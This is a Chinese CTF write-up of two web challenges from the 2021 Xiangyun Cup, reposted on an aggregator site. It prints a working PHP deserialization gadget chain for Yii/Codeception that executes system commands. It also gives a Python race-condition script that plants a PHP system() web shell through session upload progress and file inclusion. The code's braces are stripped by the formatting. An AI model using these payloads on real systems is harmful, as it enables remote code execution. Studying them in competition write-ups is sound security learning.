WP-2021祥云杯

Posted 「已注销」

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WP-2021祥云杯相关的知识,希望对你有一定的参考价值。

前言

好多审计题,懒狗的我,自愧不如。赛后借助各位师傅的wp进行复现,不会的题目赛后加强学习知识点,盲看没什么用。

链接

复现平台:https://buuoj.cn/

WEB

ezyii

考点:yii最新反序列化漏洞
这题就是网上有的yii链子,1day好像。利用这个https://xz.aliyun.com/t/9948#toc-6直接拿。
 代码

<?php
namespace Codeception\\Extension
    use Faker\\DefaultGenerator;
    use GuzzleHttp\\Psr7\\AppendStream;
    class  RunProcess
        protected $output;
        private $processes = [];
        public function __construct()
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('Firebasky');
        
    

    echo base64_encode(serialize(new RunProcess()));


namespace Faker
    class DefaultGenerator
    
        protected $default;

        public function __construct($default = null)
        
            $this->default = $default;
        
    

namespace GuzzleHttp\\Psr7
    use Faker\\DefaultGenerator;
    final class AppendStream
        private $streams = [];
        private $seekable = true;
        public function __construct()
            $this->streams[]=new CachingStream();
        
    
    final class CachingStream
        private $remoteStream;
        public function __construct()
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        
    
    final class PumpStream
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct()
            $this->buffer=new DefaultGenerator('Firebasky');
            include("closure/autoload.php");
            $a = function()system('cat /flag.txt');phpinfo();    ;
            $a = (\\Opis\\Closure\\serialize($a));
            $b = (unserialize($a));
            $this->source=$b;
        
    

 得到base64编码,post进行传参即可。

分析可查看这位师傅的博客https://www.cnblogs.com/thresh/p/13743081.html

安全检测

考点:文件包含session条件竞争

这题是去登录进去,然后搜索自己的本地文件http://127.0.0.1,访问不到那尝试一下/admin页面。
得到源码文件包含,还是session条件竞争。只不过这里一直跑条件竞争,手工访问并且添加包含文件也就是我们正在条件竞争的文件。然后在tmp写写入php文件进行包含。

写个脚本跑一下

import io
import requests
import threading
sessid = 'h3'
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'url', data='PHP_SESSION_UPLOAD_PROGRESS': '<?php system("/getflag.sh");?>', files='file': ('aa.txt',f), cookies='PHPSESSID': sessid )
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()

知识可查看y4师傅。https://blog.csdn.net/solitudi/article/details/109460211

总结

我感觉题目主要还是代码审计。
还需要学习的很多,继续加油。

以上是关于WP-2021祥云杯的主要内容,如果未能解决你的问题,请参考以下文章

2021祥云杯

[祥云杯2021] wp

pwn2021 祥云杯 (部分)

pwn2022 祥云杯 部分wp

pwn2022 祥云杯 部分wp

第二届“祥云杯”网络安全大赛暨吉林省第四届大学生网络安全大赛 WriteUp 2021年祥云杯misc